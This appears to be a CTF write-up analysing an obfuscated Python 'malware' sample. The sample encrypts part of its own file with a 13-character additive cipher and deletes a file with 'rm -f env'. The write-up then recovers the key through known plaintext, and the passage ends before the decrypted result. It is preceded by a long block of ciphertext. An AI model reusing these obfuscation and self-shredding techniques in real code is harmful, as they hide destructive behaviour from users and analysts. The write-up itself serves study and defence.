__XXX__Î__XXX__³__XXX__Ý__XXX__Ë__XXX__™__XXX__}__XXX__»__XXX__­__XXX____XXX__Ü__XXX__–__XXX__ë__XXX__Š__XXX__·__XXX__¢__XXX__Ö__XXX__¸__XXX__Ñ__XXX__•__XXX__…__XXX__¤__XXX__e__XXX__Ñ__XXX__”__XXX__¦__XXX__È__XXX__¼__XXX__¤__XXX__Ó__XXX__Ý__XXX__­__XXX__{__XXX__Ë__XXX__á__XXX__ __XXX__á__XXX__u__XXX__Ê__XXX__»__XXX__Ö__XXX__Å__XXX__¯__XXX__¿__XXX__Æ__XXX__¶__XXX____XXX__Ú__XXX__[__XXX__Ø__XXX__t__XXX__»__XXX__¦__XXX__Ý__XXX__¡__XXX__È__XXX__¯__XXX__Þ__XXX__¯__XXX__®__XXX__±__XXX__›__XXX__å__XXX__–__XXX__È__XXX__Ÿ__XXX__š__XXX__ß__XXX__Ü__XXX__®__XXX__¦__XXX__°__XXX__½__XXX__Ò__XXX__|__XXX__é__XXX__¨__XXX__Ú__XXX__š__XXX__Ù__XXX__·__XXX__Ñ__XXX__Þ__XXX__¾__XXX__›__XXX__¾__XXX__³__XXX__„__XXX__¯__XXX__d__XXX__Û__XXX__¬__XXX__½__XXX__ß__XXX__»__XXX__Ø__XXX__»__XXX__¯__XXX__¹__XXX__£__XXX__¦__XXX__Å__XXX__ª__XXX__À__XXX__Í__XXX__˜__XXX__Ä__XXX__×__XXX__™__XXX__Ë__XXX__—__XXX__š__XXX__Ö__XXX____XXX__È__XXX__¥__XXX__É__XXX__Ÿ__XXX__©__XXX__Ê__XXX__˜__XXX__±__XXX__È__XXX__œ__XXX__º__XXX__¡__XXX__’__XXX__º__XXX__›__XXX__µ__XXX__ˆ__XXX__Â__XXX__´__XXX__ª__XXX__§__XXX__Ï__XXX__ __XXX__Ã__XXX__›__XXX__b__XXX__à__XXX__ª__XXX__Ø__XXX__¦__XXX__Û__XXX__Å__XXX__Õ__XXX__š__XXX__¶__XXX__¾__XXX__›__XXX__µ__XXX__t__XXX__À__XXX__v__XXX__Æ__XXX__Š__XXX__Ï__XXX__½__XXX__Ô__XXX__²__XXX__Æ__XXX__•__XXX__£__XXX__Û__XXX__t__XXX__¹__XXX__h__XXX__Ó__XXX__©__XXX__Á__XXX__À__XXX__Ô__XXX__»__XXX__±__XXX__»__XXX__Ä__XXX__µ__XXX__e__XXX__á__XXX__z__XXX__¥__XXX__¬__XXX__¿__XXX__Ë__XXX__¯__XXX__Ð__XXX__º__XXX__|__XXX__›__XXX__µ__XXX__‰__XXX__á__XXX__¦__XXX__ä__XXX__·__XXX__“__XXX__Å__XXX__Õ__XXX__½__XXX__Ð__XXX__Á__XXX__Ä__XXX__±__XXX__Š__XXX__Ï__XXX__k__XXX__é__XXX__È__XXX__Ö__XXX__è__XXX__•__XXX__È__XXX__¬__XXX__–__XXX__Ã__XXX__—__XXX__—__XXX__¢__XXX__¬__XXX__¾__XXX__¦__XXX__«__XXX__¦__XXX__Ì__XXX__Ö__XXX__¦__XXX__¸__XXX__Í__XXX__œ__XXX__h__XXX__ñ__XXX__™__XXX____XXX__Œ__XXX__·__XXX____XXX__Ð__XXX__Ú__XXX__Î__XXX__­__XXX__…__XXX__›__XXX__s__XXX__á__XXX__„__XXX__Ë__XXX__º__XXX__Ø__XXX__Å__XXX__Õ__XXX__¿__XXX__½__XXX__‹__XXX__Æ__XXX__¤__XXX__†__XXX__¹__XXX__f__XXX__È__XXX__ˆ__XXX__“__XXX__Å__XXX__Ó__XXX__Ò__XXX__Ó__XXX__¶__XXX__©__XXX__á__XXX__v__XXX__ß__XXX__¤__XXX__À__XXX__Œ__XXX__´__XXX__à__XXX__Ö__XXX__±__XXX__©__XXX__¹__XXX__¾__XXX__å__XXX__˜__XXX__ì__XXX__…__XXX__Â__XXX__µ__XXX__×__XXX__Û__XXX__½__XXX__¦__XXX__Ô__XXX__|__XXX__ž__XXX__Ú__XXX__[__XXX__Ì__XXX__y__XXX__À__XXX__Â__XXX__Ù__XXX__É__XXX__¿__XXX__«__XXX__¼__XXX__™__XXX__¡__XXX__º__XXX__ƒ__XXX__Ñ__XXX__e__XXX__é__XXX__»__XXX__¯__XXX__Á__XXX__Ý__XXX__½__XXX__×__XXX____XXX__¢__XXX__å__XXX__ __XXX__¢__XXX__ˆ__XXX__å__XXX__Ê__XXX__Ÿ__XXX__É__XXX__¶__XXX__˜__XXX__Ï__XXX__½__XXX__À__XXX__®__XXX__™__XXX__¢__XXX__©__XXX__ê__XXX__¢__XXX__ž__XXX__Ì__XXX__•__XXX__·__XXX__ª__XXX____XXX__ˆ__XXX__®__XXX__„__XXX__æ__XXX__„__XXX__ã__XXX__»__XXX__·__XXX__È__XXX__¬__XXX__­__XXX__¨__XXX__“__XXX__—__XXX__¾__XXX__w__XXX__ì__XXX__v__XXX__ß__XXX__¨__XXX__ __XXX__Ê__XXX__ª__XXX__È__XXX__”__XXX__Ž__XXX__Ÿ__XXX__ž__XXX____XXX__ã__XXX__›__XXX__¼__XXX__™__XXX__Á__XXX__Ü__XXX__²__XXX____XXX__™__XXX__—__XXX__¡__XXX__à__XXX__“__XXX__Ú__XXX__|__XXX__à__XXX__»__XXX__¶__XXX__Å__XXX__Æ__XXX__È__XXX__¹__XXX__›__XXX__¬__XXX__Ð__XXX__h__XXX__Ä__XXX__†__XXX__ß__XXX__Â__XXX__©__XXX__¿__XXX__¾__XXX____XXX__¬__XXX__x__XXX__Œ__XXX__®__XXX__š__XXX__¯__XXX__y__XXX__Ý__XXX__©__XXX__²__XXX__à__XXX__¼__XXX__¿__XXX__™__XXX__³__XXX__˜__XXX__¾__XXX__€__XXX__Å__XXX__h__XXX__µ__XXX__Ÿ__XXX__ª__XXX__Ç__XXX__ª__XXX__É__XXX____XXX__Œ__XXX__½__XXX__®__XXX__€__XXX__ª__XXX__‹__XXX__ë__XXX__¦__XXX__Ù__XXX__Â__XXX__Ô__XXX__ß__XXX__Õ__XXX__¿__XXX__¹__XXX__œ__XXX__x__XXX__æ__XXX__ª__XXX__µ__XXX__¼__XXX__¸__XXX__Ã__XXX__Þ__XXX__«__XXX__»__XXX__}__XXX__¹__XXX__·__XXX__‘__XXX__Ñ__XXX__ª__XXX__§__XXX__¬__XXX__Ê__XXX__¼__XXX__Õ__XXX__¨__XXX__É__XXX__–__XXX__­__XXX__Ô__XXX__Š__XXX__¯__XXX__x__XXX__¢__XXX__§__XXX__¿__XXX__á__XXX__¶__XXX__ª__XXX__²__XXX__y__XXX__¹__XXX__Ã__XXX__a__XXX__Þ__XXX__¦__XXX__¨__XXX__‡__XXX__Ó__XXX__«__XXX__Ö__XXX__Ü__XXX__Ý__XXX__¶__XXX__Œ__XXX__Å__XXX__Š__XXX__Ì__XXX__§__XXX__ä__XXX__‹__XXX__¼__XXX__§__XXX__È__XXX__»__XXX__Ù__XXX__œ__XXX__Ÿ__XXX__Ä__XXX__¡__XXX__Í__XXX__Ÿ__XXX__Ä__XXX__˜__XXX__Â__XXX__½__XXX__§__XXX__œ__XXX__×__XXX____XXX__Æ__XXX__¶__XXX__œ__XXX__Ð__XXX__†__XXX__×__XXX__Ã__XXX__Ô__XXX__ë__XXX__”__XXX__ž__XXX__˜__XXX__°__XXX__®__XXX__Ø__XXX__w__XXX__í__XXX__l__XXX__Þ__XXX__–__XXX__¹__XXX__Ó__XXX__›__XXX__«__XXX__È__XXX__Š__XXX__¼__XXX__ __XXX__e__XXX__Ú__XXX__­__XXX__µ__XXX__ª__XXX__à__XXX__Ô__XXX__Ê__XXX__—__XXX__­__XXX__—__XXX__Ì__XXX__µ__XXX__[__XXX__«__XXX__¨__XXX__Ç__XXX__~__XXX__©__XXX__¦__XXX__Ù__XXX__¾__XXX__š__XXX__«__XXX__º__XXX__®__XXX__c__XXX__¨__XXX____XXX__ä__XXX__¦__XXX__Ë__XXX__ê__XXX__©__XXX__œ__XXX__œ__XXX__°__XXX__Á__XXX__À__XXX____XXX__Í__XXX__–__XXX__È__XXX__Â__XXX__Ï__XXX__Ê__XXX__•__XXX__Ê__XXX__¸__XXX__}__XXX__¥__XXX__Î__XXX__©__XXX__Î__XXX__d__XXX__¡__XXX__Í__XXX__Ü__XXX__É__XXX__§__XXX__™__XXX__š__XXX__Ž__XXX__À__XXX__²__XXX__r__XXX__ê__XXX__d__XXX__½__XXX__¬__XXX__Ò__XXX__Ü__XXX__»__XXX__Ð__XXX__Ï__XXX__“__XXX__»__XXX__Ô__XXX__u__XXX__ç__XXX____XXX__ß__XXX__›__XXX__º__XXX__¤__XXX__ß__XXX__×__XXX__–__XXX__ž__XXX__˜__XXX__­__XXX__¢__XXX__Ø__XXX__Ÿ__XXX__æ__XXX__À__XXX__Ê__XXX__à__XXX__Ç__XXX__Ú__XXX__¶__XXX__ª__XXX__ƒ__XXX__º__XXX__a__XXX__¯__XXX__‚__XXX__Ý__XXX__„__XXX__Á__XXX__Ý__XXX__¼__XXX__Ð__XXX__¬__XXX__˜__XXX__¬__XXX__Ü__XXX__ˆ__XXX__Ð__XXX__~__XXX__Ø__XXX__Ä__XXX__Ö__XXX__¤__XXX__Ú__XXX__Ó__XXX__²__XXX__º__XXX__º__XXX__¥__XXX__b__XXX__Ä__XXX__u__XXX__¾__XXX__›__XXX__©__XXX__ã__XXX__Æ__XXX__É__XXX__®__XXX__•__XXX____XXX__£__XXX__d__XXX__¿__XXX__{__XXX____XXX__Í__XXX__¼__XXX__¹__XXX__¿__XXX__¹__XXX__Ñ__XXX__ª__XXX__Ã__XXX__à__XXX__e__XXX__Ã__XXX__‚__XXX__»__XXX__ƒ__XXX__Ê__XXX__È__XXX__´__XXX__¼__XXX__›__XXX__}__XXX__Œ__XXX__Ú__XXX__x__XXX__¿__XXX__£__XXX__Ê__XXX__¬__XXX__´__XXX__Ù__XXX__º__XXX__Ç__XXX__¬__XXX__”__XXX__¢__XXX__Ô__XXX____XXX__Á__XXX__¢__XXX__¦__XXX__Å__XXX__­__XXX__¸__XXX____XXX__Ò__XXX__“__XXX__µ__XXX__—__XXX__Ý__XXX__•__XXX__ð__XXX__­__XXX__¾__XXX__–__XXX__Ó__XXX__´__XXX__Ü__XXX__È__XXX__¹__XXX____XXX__Ä__XXX__Ô__XXX__h__XXX__Þ__XXX__”__XXX__¶__XXX__¸__XXX__®__XXX__Ì__XXX__–__XXX__–__XXX__›__XXX__¢__XXX__º__XXX__×__XXX__‰__XXX__ç__XXX__ __XXX__è__XXX__Æ__XXX__½__XXX__ç__XXX__µ__XXX__¼__XXX__Ê__XXX__ __XXX__Í__XXX__Í__XXX__€__XXX__á__XXX__‚__XXX__¼__XXX__Å__XXX__Ì__XXX__ª__XXX__©__XXX__Æ__XXX__–__XXX__ª__XXX__Ê__XXX__Â__XXX__ž__XXX__Á__XXX__›__XXX__Á__XXX__È__XXX__Ý__XXX____XXX__Ù__XXX__™__XXX__²__XXX__£__XXX__‹__XXX__°__XXX__}__XXX__¢__XXX__„__XXX__Ê__XXX__ˆ__XXX__ __XXX__å__XXX__°__XXX__³__XXX__¾__XXX__¹__XXX__›__XXX__æ__XXX__’__XXX__æ__XXX__¤__XXX__ª__XXX__~__XXX__Ì__XXX__Ì__XXX__²__XXX__´__XXX__Ö__XXX__¸__XXX__Ã__XXX__×__XXX__„__XXX__ç__XXX__¦__XXX__Õ__XXX__¦__XXX__ž__XXX__Ù__XXX__¨__XXX__Ô__XXX__±__XXX__’__XXX__›__XXX____XXX__i__XXX__Î__XXX__†__XXX__Ó__XXX__Ë__XXX__¾__XXX__ê__XXX__™__XXX__–__XXX__´__XXX____XXX__ª__XXX__ä__XXX__v__XXX__ç__XXX__g__XXX__¢__XXX__¥__XXX__Á__XXX__¤__XXX__¿__XXX____XXX__›__XXX__´__XXX__£__XXX__¥__XXX__w__XXX__­__XXX__¤__XXX__ª__XXX__Ê__XXX__Ï__XXX__æ__XXX__Û__XXX__¶__XXX__²__XXX__‚__XXX__–__XXX__ä__XXX__c__XXX__¢__XXX__|__XXX__Ó__XXX__É__XXX__®__XXX__¼__XXX__²__XXX__¦__XXX__²__XXX__t__XXX__Á__XXX__å__XXX____XXX__È__XXX__^__XXX__Ø__XXX__È__XXX__á__XXX__Ç__XXX__Ñ__XXX__Û__XXX__©__XXX____XXX__Š__XXX__Þ__XXX__ž__XXX__¿__XXX__¬__XXX__§__XXX__‚__XXX__¸__XXX__Ù__XXX__¹__XXX__š__XXX__Æ__XXX__¢__XXX__™__XXX__×__XXX__†__XXX__Ê__XXX__f__XXX__´__XXX__¢__XXX__Ì__XXX__·__XXX__µ__XXX__È__XXX__œ__XXX__°__XXX__Ÿ__XXX__Ã__XXX__™__XXX__§__XXX__f__XXX__É__XXX__˜__XXX__ª__XXX__á__XXX__¸__XXX__®__XXX__Ç__XXX__}__XXX__Š__XXX__æ__XXX__}__XXX__ë__XXX__›__XXX__½__XXX__–__XXX__¡__XXX__½__XXX__Ú__XXX__–__XXX__Ñ__XXX__ž__XXX__—__XXX__œ__XXX__|__XXX__Ü__XXX__Ÿ__XXX__ã__XXX__Ä__XXX__¼__XXX__¶__XXX__Ù__XXX__È__XXX__Æ__XXX__“__XXX____XXX__ __XXX__b__XXX__Ü__XXX__˜__XXX__¢__XXX__¡__XXX__Ú__XXX__Ú__XXX__µ__XXX__ß__XXX__¬__XXX__¶__XXX__–__XXX__¹__XXX__‰__XXX__ï__XXX__§__XXX__¥__XXX__Ÿ__XXX__¶__XXX__Ê__XXX__Ô__XXX__´__XXX__º__XXX__Á__XXX__ž__XXX__›__XXX__h__XXX__½__XXX__~__XXX__ß__XXX__´__XXX__®__XXX__Ü__XXX__Ö__XXX__¨__XXX__Ñ__XXX__¡__XXX__Ÿ__XXX__¿__XXX__‚__XXX__á__XXX__¬__XXX__×__XXX__ª__XXX__Ô__XXX__Ã__XXX__­__XXX__»__XXX__Ü__XXX__½__XXX__ž__XXX__Î__XXX____XXX__í__XXX__˜__XXX__º__XXX__–__XXX__Ü__XXX__¹__XXX__Î__XXX__¿__XXX__¾__XXX__²__XXX__‹__XXX__Þ__XXX__c__XXX__Ø__XXX__~__XXX__«__XXX__´__XXX__ž__XXX__Â__XXX__ß__XXX__É__XXX__­__XXX__²__XXX__™__XXX__Ø__XXX__b__XXX__à__XXX__h__XXX__È__XXX__Ê__XXX__Ú__XXX__Å__XXX__©__XXX__Ç__XXX__¥__XXX__œ__XXX____XXX__»__XXX__¡__XXX__¿__XXX__—__XXX__é__XXX__”__XXX__Â__XXX__Æ__XXX__Ë__XXX__±__XXX__Ø__XXX__‚__XXX__¾__XXX__Å__XXX__i__XXX__Ë__XXX__f__XXX__¿__XXX__©__XXX__Ö__XXX____XXX__¨__XXX__Ö__XXX__Å__XXX__{__XXX____XXX__Å__XXX__•__XXX__ñ__XXX__„__XXX__Ê__XXX__Å__XXX__½__XXX__Ì__XXX__Ë__XXX__Ö__XXX__Í__XXX__¸__XXX__¹__XXX__à__XXX__c__XXX__à__XXX__‚__XXX__£__XXX__˜__XXX__Ñ__XXX__è__XXX__Ñ__XXX__º__XXX__“__XXX__½__XXX__§__XXX__¯__XXX__z__XXX__Ë__XXX__g__XXX__·__XXX__­__XXX__œ__XXX__©__XXX__Ü__XXX__É__XXX__Ù__XXX__¡__XXX__¬__XXX__Ô__XXX__`__XXX__ã__XXX__‚__XXX__µ__XXX__Ÿ__XXX__¼__XXX__Ã__XXX__®__XXX__Õ__XXX__µ__XXX____XXX__¥__XXX__Ü__XXX__y__XXX__Í__XXX__y__XXX__Õ__XXX__Ã__XXX__Ï__XXX__Õ__XXX__«__XXX__»__XXX__²__XXX__¬__XXX__À__XXX__Ò__XXX____XXX__¾__XXX__¥__XXX__ë__XXX__”__XXX__»__XXX__Ë__XXX__¼__XXX__ª__XXX__¬__XXX__y__XXX__œ__XXX__º__XXX__z__XXX__æ__XXX__œ__XXX__¾__XXX__Š__XXX__Ë__XXX__é__XXX__˜__XXX__¾__XXX__È__XXX__y__XXX__¥__XXX__Ö__XXX__{__XXX__Ù__XXX____XXX__¹__XXX__Œ__XXX__á__XXX__Ô__XXX__±__XXX__¹__XXX__—__XXX__«__XXX__Ä__XXX__¥__XXX__d__XXX__ì__XXX__u__XXX__Ä__XXX__¦__XXX__™__XXX__á__XXX__¶__XXX__Î__XXX__Î__XXX__¾__XXX__ˆ__XXX__À__XXX__¤__XXX__¦__XXX__€__XXX__Ä__XXX__ž__XXX__À__XXX__â__XXX__®__XXX__Í__XXX__–__XXX__¸__XXX__­__XXX____XXX__d__XXX__ð__XXX__w__XXX__¤__XXX__Í__XXX__®__XXX__ê__XXX__Î__XXX__ª__XXX__Õ__XXX__Á__XXX__¥__XXX__¶__XXX_____XXX__ß__XXX__¨__XXX__Þ__XXX__¨__XXX__µ__XXX__Ê__XXX__–__XXX__—__XXX__Æ__XXX____XXX__Ÿ__XXX__¿__XXX__—__XXX__Þ__XXX__¤__XXX__Õ__XXX__¾__XXX__¾__XXX__Ô__XXX__¹__XXX__°__XXX__Û__XXX__µ__XXX__Ÿ__XXX__Ò__XXX__•__XXX__Ñ__XXX__ª__XXX__Ê__XXX__Ë__XXX__°__XXX__å__XXX__³__XXX__°__XXX__±__XXX__°__XXX__•__XXX__—__XXX__¤__XXX__¾__XXX__–__XXX__Ý__XXX__È__XXX__¿__XXX__¦__XXX__Î__XXX__½__XXX__Ò__XXX__¿__XXX____XXX__ã__XXX__y__XXX__ì__XXX__­__XXX__Ë__XXX__~__XXX__ß__XXX__É__XXX__Ø__XXX__¬__XXX__Î__XXX__|__XXX__¢__XXX__Ñ__XXX__›__XXX__¾__XXX__¥__XXX__Þ__XXX__Œ__XXX__ __XXX__×__XXX__Ï__XXX____XXX__Þ__XXX____XXX__¬__XXX__Í__XXX__£__XXX__ª__XXX__š__XXX__µ__XXX__Ì__XXX__¬__XXX__ß__XXX__™__XXX__ª__XXX__Ì__XXX__Š__XXX__¥__XXX__¯__XXX__t__XXX__Ã__XXX__i__XXX__Ã__XXX__Ä__XXX__«__XXX____XXX__³__XXX__Ì__XXX__Õ__XXX__À__XXX__ª__XXX__Ù__XXX__a__XXX__â__XXX__{__XXX__Û__XXX__ž__XXX__©__XXX__«__XXX__Í__XXX__±__XXX__®__XXX__“__XXX__¸__XXX__Ø__XXX__y__XXX__Ü__XXX__›__XXX__Â__XXX__§__XXX__Ú__XXX__·__XXX__ž__XXX__œ__XXX____XXX__®__XXX__¨__XXX__æ__XXX__”__XXX__å__XXX__˜__XXX__Ü__XXX__¡__XXX__®__XXX__ç__XXX__Ú__XXX__­__XXX__Ô__XXX__µ__XXX__¹__XXX__½__XXX__z__XXX__ª__XXX__ª__XXX__¼__XXX__¼__XXX__Õ__XXX__×__XXX__°__XXX__¿__XXX__±__XXX__À__XXX__¾__XXX__¿__XXX__‰__XXX__Ê__XXX____XXX__Ì__XXX__Ç__XXX__¬__XXX__æ__XXX__Ñ__XXX__¦__XXX____XXX__Ã__XXX__„__XXX__´__XXX__Ÿ__XXX__Í__XXX__k__XXX__µ__XXX__Š__XXX__—__XXX__§__XXX__Í__XXX__«__XXX__Æ__XXX__¾__XXX__·__XXX__Â__XXX__a__XXX__ð__XXX__~__XXX__×__XXX__ƒ__XXX__Ó__XXX____XXX__­__XXX__×__XXX__Ù__XXX__µ__XXX__„__XXX__¹__XXX__a__XXX__Á__XXX__”__XXX__Þ__XXX__½__XXX__Ÿ__XXX__ß__XXX__×__XXX__»__XXX__Ø__XXX____XXX__ˆ__XXX__¾__XXX__[__XXX__¬__XXX__‰__XXX__¾__XXX__Ç__XXX__±__XXX__ç__XXX__È__XXX__¬__XXX__™__XXX__¶__XXX__š__XXX__²__XXX__q__XXX__ð__XXX__u__XXX__À__XXX__‰__XXX__Â__XXX__½__XXX__¿__XXX__¦__XXX__½__XXX____XXX__—__XXX__Ù__XXX__y__XXX__Ã__XXX__e__XXX__Ã__XXX__£__XXX__¯__XXX__Þ__XXX__¶__XXX__Ü__XXX__Ó__XXX__›__XXX__¥__XXX__Î__XXX__£__XXX__®__XXX__©__XXX__Ç__XXX__Ç__XXX__™__XXX__¿__XXX__—__XXX__Ô__XXX__Ý__XXX__¾__XXX__„__XXX__Å__XXX__¤__XXX__ª__XXX__ __XXX__Ü__XXX__‹__XXX__á__XXX__ª__XXX__×__XXX__Ü__XXX__¶__XXX__–__XXX__—__XXX__»__XXX__v__XXX__Í__XXX____XXX__©__XXX__£__XXX__µ__XXX__À__XXX__¯__XXX__•__XXX__Ò__XXX__z__XXX__¹__XXX__¶__XXX__a__XXX__¸__XXX__|__XXX__¤__XXX__È__XXX__—__XXX__Å__XXX__°__XXX__»__XXX__Ú__XXX__¿__XXX__¡__XXX__á__XXX__t__XXX__½__XXX__d__XXX__Ó__XXX__¶__XXX__â__XXX__ä__XXX__°__XXX__Û__XXX__¬__XXX__Á__XXX__©__XXX__ž__XXX__€__XXX__Ê__XXX__ª__XXX__«__XXX__Å__XXX__¸__XXX__´__XXX__¸__XXX__•__XXX__É__XXX__‹__XXX__ __XXX__²__XXX__„__XXX__å__XXX__b__XXX__¢__XXX__Ì__XXX__˜__XXX__ç__XXX__­__XXX__µ__XXX__¨__XXX__±__XXX__–__XXX__Ý__XXX__˜__XXX__á__XXX__j__XXX__·__XXX__„__XXX__¸__XXX__Õ__XXX__Ê__XXX__®__XXX____XXX____XXX__¥__XXX__»__XXX__g__XXX__¢__XXX__‡__XXX__é__XXX__…__XXX____XXX__æ__XXX__°__XXX__«__XXX__×__XXX__Â__XXX__Ç__XXX__´__XXX__“__XXX__¨__XXX__™__XXX__¨__XXX__Â__XXX__×__XXX__Ý__XXX__œ__XXX__°__XXX__Ó__XXX__ __XXX__¤__XXX__ž__XXX__r__XXX__Ù__XXX__|__XXX__¨__XXX__¤__XXX__Ø__XXX__¢__XXX__´__XXX__œ__XXX__Ó__XXX____XXX__Ê__XXX__ž__XXX__c__XXX__Ê__XXX__†__XXX__ê__XXX__¿__XXX__©__XXX__¾__XXX__´__XXX__Û__XXX__Ý__XXX__Â__XXX__†__XXX__½__XXX__¥__XXX__î__XXX__}__XXX__â__XXX__»__XXX__ß__XXX__é__XXX__©__XXX__›__XXX__—__XXX__«__XXX__Ÿ__XXX__²__XXX__q__XXX__ë__XXX__i__XXX__¢__XXX__µ__XXX__Ù__XXX__Õ__XXX__·__XXX__Ç__XXX__±__XXX__{__XXX__ˆ__XXX__ä__XXX__t__XXX__î__XXX__€__XXX__â__XXX__Ÿ__XXX__Ë__XXX__É__XXX__˜__XXX__•__XXX__–__XXX__Š__XXX__‰__XXX__Õ__XXX__{__XXX__º__XXX__—__XXX__ê__XXX__†__XXX__š__XXX__Æ__XXX__Ù__XXX__¹__XXX__Ý__XXX__š__XXX__º__XXX__ž__XXX__‘__XXX__Å__XXX__‰__XXX__ã__XXX__¬__XXX__¿__XXX__Ã__XXX__ž__XXX__Ø__XXX__°__XXX__¼__XXX__É__XXX__Æ__XXX__©__XXX__¹__XXX__z__XXX__Ó__XXX__¤__XXX__Ï__XXX__Ü__XXX__”__XXX__›__XXX__Ð__XXX__­__XXX__É__XXX__Ò__XXX__©__XXX__¸__XXX____XXX__Ú__XXX__Â__XXX__·__XXX__º__XXX__½__XXX__¶__XXX__®__XXX__Ÿ__XXX__ª__XXX__±__XXX__„__XXX__è__XXX__€__XXX__º__XXX__‡__XXX__Ø__XXX__Ó__XXX__˜__XXX__Ò__XXX__Ü__XXX__š__XXX__¤__XXX__¢__XXX__~__XXX__¹__XXX__›__XXX__¼__XXX____XXX__Ù__XXX__Ë__XXX__®__XXX__—__XXX__µ__XXX__y__XXX__Ê__XXX__Î__XXX__‘__XXX__ë__XXX__^__XXX__¶__XXX__Å__XXX__«__XXX__×__XXX__›__XXX__¾__XXX__«__XXX__º__XXX__¿__XXX__»__XXX__›__XXX__Æ__XXX__y__XXX__Ç__XXX__ __XXX__½__XXX__¥__XXX__×__XXX__˜__XXX__Þ__XXX__•__XXX__Ÿ__XXX__Ù__XXX__¡__XXX__Þ__XXX__}__XXX__à__XXX__¿__XXX__®__XXX__¸__XXX__”__XXX__·__XXX__™__XXX__–__XXX__Â__XXX__¶__XXX__u__XXX__Þ__XXX__u__XXX__æ__XXX__É__XXX__Ú__XXX__Ø__XXX__–__XXX__›__XXX__Þ__XXX__°__XXX__™__XXX__®__XXX__‡__XXX__Ç__XXX__f__XXX__½__XXX__—__XXX__Á__XXX__¹__XXX__¯__XXX__©__XXX__Ç__XXX__£__XXX__–__XXX__æ__XXX__¨__XXX__é__XXX__Š__XXX__Ê__XXX__¨__XXX__¹__XXX__Ó__XXX__Ü__XXX____XXX__–__XXX__}__XXX__«__XXX__Ð__XXX__Ÿ__XXX__è__XXX__Œ__XXX__£__XXX__Ë__XXX__á__XXX__à__XXX__·__XXX__™__XXX__Í__XXX__·__XXX__À__XXX__à__XXX__w__XXX__¹__XXX__~__XXX__¸__XXX__†__XXX__¹__XXX__ª__XXX__©__XXX__¯__XXX__µ__XXX__²__XXX__Í__XXX__Å__XXX__ª__XXX__Þ__XXX__¨__XXX__ä__XXX__µ__XXX__“__XXX__£__XXX____XXX____XXX__“__XXX__¡__XXX__†__XXX__›__XXX__h__XXX__¢__XXX__l__XXX__¡__XXX__‚__XXX__â__XXX__ì__XXX____XXX__½__XXX__Ñ__XXX__™__XXX__¸__XXX____XXX__~__XXX__Ç__XXX__c__XXX__¡__XXX__¢__XXX__µ__XXX__È__XXX__•__XXX__ª__XXX__©__XXX____XXX__Œ__XXX__›__XXX__¦__XXX__Ï__XXX__§__XXX__ì__XXX__È__XXX__®__XXX__ß__XXX__¹__XXX__³__XXX__È__XXX__™__XXX__¡__XXX__ __XXX__g__XXX__Ì__XXX__t__XXX__ç__XXX__˜__XXX__½__XXX__£__XXX__×__XXX__Ó__XXX____XXX__Œ__XXX__¼__XXX__¢__XXX__¡__XXX__ê__XXX__›__XXX__Å__XXX__«__XXX__Ÿ__XXX__Þ__XXX__»__XXX__Ü__XXX__®__XXX__®__XXX__{__XXX__•__XXX__Y__XXX____XXX__=

At first glance, static analysis is made more challenging by the code’s use of obfuscated function names, such as ksii343, ksii342, and other long, cryptic, and semantically meaningless variants. Furthermore, it introduces irrelevant code by using a large number of nearly identical functions such as ksii34a, ksii34b. that carry out redundant tasks only to produce logical and visual noise.

def XXXXXXXXXJSPRRRJSDSAUDJSNSNSWI(): oiiiiiiiiiujauqobsolute2311 = os.path.abspath(__file__) with open(oiiiiiiiiiujauqobsolute2311, "r", encoding="utf-8") as f: script_data = f.read() IIIllIIlllIIIIlIII = base64.b64decode(lllllllllllllll('.' + '@#=@' + '#=g#Cm9' + 'F|d#-wl#nc_j' + '#5W.Z')[::-1].replace('_', '').replace('.', '').replace('|', '').replace('-', '').replace('#', '').replace('@', '')).decode('utf-8').strip() i = script_data.index(IIIllIIlllIIIIlIII) juyt = script_data[i:] liiencrypt = dshyXXXlsoe(juyt, sowiaaaandowTgsRETfs, llllllllllllllki=env) new_script_data = script_data[:i] + liiencrypt with open(oiiiiiiiiiujauqobsolute2311, "w", encoding="utf-8") as f: f.write(new_script_data) subprocess.run(["rm", "-f", "env"])

and we can see also in the function XXXXXXXXXJSPRRRJSDSAUDJSNSWI(), string obfuscation adds an additional layer of confusion by encoding strings in base64 and dynamically reconstructing them through complex concatenation and reverse operations in order to mask the payload or command being executed.

for example i used replace to obfuscate more the base64 payload and stores it in IIIllIIlllIIIIlIII. so lets start our hunting from here since all the functions seems identical.

  • Identifying IOCs
oiiiiiiiiiujauqobsolute2311 = os.path.abspath(__file__) with open(oiiiiiiiiiujauqobsolute2311, "r", encoding="utf-8") as f: script_data = f.read()

The function seems to be opening this python malware itself and load it in script_data variable. The line containing the first clue is a splited base64 string in the IIIllIIlllIIIIlIII variable, if we decode it we find that its hiding encrypt_f string.

alt text

Emmm the encrypt_f might indicates that this is a ransomeware or some kind of encrypted c2 communications? lets continue

i = script_data.index(IIIllIIlllIIIIlIII) juyt = script_data[i:]

this locates the index of where encrypt_f starts in the script_data variable. and then it sets a juyt variable that contains a sliced data of the actual malware. and this seems to be clear now, the malware tries to shredd it self (or just a part of since this is a CTF challenge).

after it uses an encryption function on the sliced part liiencrypt = dshyXXXlsoe(juyt, sowiaaaandowTgsRETfs, llllllllllllllki=env)

def dshyXXXlsoe(text, llkjhhjkkkkkkLONG, llllllllllllllki): lkjhs = len(llkjhhjkkkkkkLONG) assert(lkjhs== int(((0x23^0x2)/ 3)+2)) eeeeeeeeeeeeeeeeeeeeeeXXrted = [] for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133)

the encryption function seems to performs a key-based character transformation on text using a 13-character key, seems like vigenere cipher, adding each character’s ASCII value and wrapping via modulo 256.

and after it replace the data starting from encrypt_f in the python malware itself with the encrypted data but it uses some sort of separator (the env parameter llllllllllllllki=env), and as we see the separator is likely __XXX__ (take a look at the malware again).

Now we break how the malware shredd its last part, how recover then??

Since its using vigenere, and we have the cipher and part of the plaintext which is encrypt_f, we can recover the key and then recover the shredded part. How?? by simply reverse the encryption system, but the key is 13-char long, but the encrypt_f is only 9-char long, so we might need a shifty guess here, the encrypt_f might be the function name of encrypt_files isn’t, so lets check if it works.

We store the encrypted data in encfile.txt.

with open("encfile.txt","r") as f: file=f.read()[:-1] file=file.split("__XXX__") key_partial="" known="encrypt_files" for i in range(13): key_partial+=chr(ord(file[i])-ord(known[i])) print(key_partial)

j

So we got it, the key is ShreedITl0w3r. Decrypted the part with this jey gives us :

